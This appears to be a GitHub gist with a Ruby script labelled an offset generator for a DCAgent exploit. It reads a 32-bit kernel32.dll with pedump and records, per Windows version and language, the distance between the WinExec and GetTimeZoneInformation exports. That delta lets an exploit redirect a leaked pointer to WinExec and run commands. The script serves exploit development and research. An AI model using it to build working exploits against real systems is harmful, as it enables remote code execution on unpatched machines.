Skip to content

Instantly share code, notes, and snippets.

@phikshun
Created March 29, 2015 20:19
Show Gist options
  • Save phikshun/2a27f36ec9d591f490cc to your computer and use it in GitHub Desktop.
Save phikshun/2a27f36ec9d591f490cc to your computer and use it in GitHub Desktop.
DCAgent Exploit Kernel32.dll Offset Generator
#!/usr/bin/env ruby
require 'pedump'
require 'colorize'
@lang = {
0x0401 => 'ar',
0x0415 => 'pl',
0x0402 => 'bg',
0x0416 => 'pt-br',
0x0403 => 'ca',
0x0417 => 'rm',
0x0404 => 'zh',
0x0418 => 'ro',
0x0405 => 'cs',
0x0419 => 'ru',
0x0406 => 'da',
0x041A => 'bs',
0x0407 => 'de',
0x041B => 'sk',
0x0408 => 'el',
0x041C => 'sq',
0x0409 => 'en',
0x041D => 'sv',
0x040A => 'es-es',
0x0C0A => 'es',
0x041E => 'th',
0x040B => 'fi',
0x041F => 'tr',
0x040C => 'fr',
0x0420 => 'ur',
0x040D => 'he',
0x0421 => 'id',
0x040E => 'hu',
0x0804 => 'zh-Hans',
0x040F => 'is',
0x0807 => 'de-che',
0x0410 => 'it',
0x0809 => 'en-uk',
0x0411 => 'jp',
0x080A => 'en-mx',
0x0412 => 'ko',
0x080C => 'fr-be',
0x0413 => 'nl',
0x0C0C => 'fr-can',
0x0414 => 'no',
0x100C => 'fr-che',
0x0810 => 'it-che',
0x0816 => 'pt',
0x0813 => 'no-be',
0x081A => 'hr',
0x0814 => 'no-ny'
}
def parse_dll(dll)
delta = {}
begin
if `file #{dll}` =~ /Intel 80386 32-bit/
dllfile = File.open(dll, 'rb')
pedump = PEdump.new(dllfile)
vi = pedump.resources.find_all{ |r| r.type == 'VERSION'}.first.data.first
version = [
vi.Value.dwFileVersionMS.to_i >> 16,
vi.Value.dwFileVersionMS.to_i & 0xffff,
vi.Value.dwFileVersionLS.to_i >> 16,
vi.Value.dwFileVersionLS.to_i & 0xffff
].join('.')
lang_id = pedump.resources.find_all{ |r| r.type == 'VERSION'}.first['lang']
language = @lang[lang_id]
puts "No langugage found for 0x%04x" % [lang_id] unless language
key = "#{version}_#{language}"
winexec = pedump.exports.functions.find { |f| f.name == 'WinExec' }.va
gettzi = pedump.exports.functions.find { |f| f.name == 'GetTimeZoneInformation' }.va
dllfile.close
diff = winexec - gettzi
magic = "0x%08x" % [-diff & ((1 << 32) - 1)]
delta[key] = magic
puts "Found #{key} delta #{magic}".colorize(:light_blue)
else
puts "Not Intel 80386 32-bit file".colorize(:red)
end
rescue Exception => e
dllfile.close if dllfile; puts e.message.colorize(:red)
end
delta
end
p parse_dll(ARGV[0])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment